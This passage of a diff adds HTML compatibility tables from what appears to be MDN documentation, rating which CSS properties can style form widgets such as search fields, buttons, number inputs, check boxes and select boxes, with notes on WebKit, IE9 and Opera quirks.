+   <td>
+    <ol>
+     <li>WebKit browsers (mostly on Mac OSX and iOS) use the native look &amp; feel for the search fields. Therefore, it's required to use <code>-webkit-appearance:none</code> to be able to apply this property to search fields.</li>
+     <li>On Windows 7, Internet Explorer 9 does not apply the border unless <code>background:none</code> is applied.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td>
+    <ol>
+     <li>WebKit browsers (mostly on Mac OSX and iOS) use the native look &amp; feel for the search fields. Therefore, it's required to use <code>-webkit-appearance:none</code> to be able to apply this property to search fields.</li>
+     <li>On Windows 7, Internet Explorer 9 does not apply the border unless <code>background:none</code> is applied.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td>
+    <ol>
+     <li>WebKit browsers (mostly on Mac OSX and iOS) use the native look &amp; feel for the search fields. Therefore, it's required to use <code>-webkit-appearance:none</code> to be able to apply this property to search fields.</li>
+     <li>On Windows 7, Internet Explorer 9 does not apply the border unless <code>background:none</code> is applied.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Text and font</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}<sup>[1]</sup></th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td>
+    <ol>
+     <li>If the {{cssxref("border-color")}} property is not set, some WebKit based browsers will apply the {{cssxref("color")}} property to the border as well as the font on <code>{{htmlelement("textarea")}}</code>s.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td>See the note about {{cssxref("line-height")}}</td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td>
+   <td>See the note about Opera</td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>IE9 supports this property only on <code>{{htmlelement("textarea")}}</code>s, whereas Opera only supports it on single line text fields.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Border and background</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td>
+    <ol>
+     <li>WebKit browsers (mostly on Mac OSX and iOS) use the native look &amp; feel for the search fields. Therefore, it's required to use <code>-webkit-appearance:none</code> to be able to apply this property to search fields. On Windows 7, Internet Explorer 9 does not apply the border unless <code>background:none</code> is applied.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td>
+    <ol>
+     <li>WebKit browsers (mostly on Mac OSX and iOS) use the native look &amp; feel for the search fields. Therefore, it's required to use <code>-webkit-appearance:none</code> to be able to apply this property to search fields. On Windows 7, Internet Explorer 9 does not apply the border unless <code>background:none</code> is applied.</li>
+     <li>On Opera the {{cssxref("border-radius")}} property is applied only if an explicit border is set.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>IE9 does not support this property.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Buttons">Buttons</h3>
+
+<p>See the <code>{{htmlelement("input/button", "button")}}</code>,  <code>{{htmlelement("input/submit", "submit")}}</code>, and <code>{{htmlelement("input/reset", "reset")}}</code> input types and the <code>{{htmlelement("button")}}</code> element.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">T</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>CSS box model</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td>
+    <ol>
+     <li>This property is not applied on WebKit based browsers on Mac OSX or iOS.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td>
+    <ol>
+     <li>This property is not applied on WebKit based browsers on Mac OSX or iOS.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Text and font</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td>See the note about {{cssxref("line-height")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Border and background</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>On Opera the {{cssxref("border-radius")}} property is applied only if an explicit border is set.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>IE9 does not support this property.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Number">Number</h3>
+
+<p>See the  <code>{{htmlelement("input/number", "number")}}</code> input type. There is no standard way to change the style of spinners used to change the value of the field, with the spinners on Safari being outside the field.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">T</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>CSS box model</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>On Opera, the spinners are zoomed in, which can hide the content of the field.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>On Opera, the spinners are zoomed in, which can hide the content of the field.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Text and font</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td>See the note about {{cssxref("line-height")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Border and background</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td colspan="1" rowspan="3">
+    <p>Supported but there is too much inconsistency between browsers to be reliable.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Check_boxes_and_radio_buttons">Check boxes and radio buttons</h3>
+
+<p>See the <code>{{htmlelement("input/checkbox", "checkbox")}}</code> and <code>{{htmlelement("input/radio", "radio")}}</code> input types.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">T</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>CSS box model</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Some browsers add extra margins and others stretch the widget.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Some browsers add extra margins and others stretch the widget.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Text and font</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Border and background</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Select_boxes_single_line">Select boxes (single line)</h3>
+
+<p>See the <code>{{htmlelement("select")}}</code>,  <code>{{htmlelement("optgroup")}}</code> and  <code>{{htmlelement("option")}}</code> elements.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">T</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>CSS box model</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>This property is okay on the <code>{{htmlelement("select")}}</code> element, but it cannot be the case on the <code>{{htmlelement("option")}}</code> or <code>{{htmlelement("optgroup")}}</code> elements.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[2]</sup></td>
+   <td>
+    <ol>
+     <li>The property is applied, but in an inconsistent way between browsers on Mac OSX.</li>
+     <li>The property is well applied on the <code>{{htmlelement("select")}}</code> element, but is inconsistently handled on <code>{{htmlelement("option")}}</code> and <code>{{htmlelement("optgroup")}}</code> elements.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Text and font</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>On Mac OSX, WebKit based browsers do not support this property on native widgets and they, along with Opera, do not support it at all on <code>{{htmlelement("option")}}</code> and <code>{{htmlelement("optgroup")}}</code> elements.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>On Mac OSX, WebKit based browsers do not support this property on native widgets and they, along with Opera, do not support it at all on <code>{{htmlelement("option")}}</code> and <code>{{htmlelement("optgroup")}}</code> elements.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
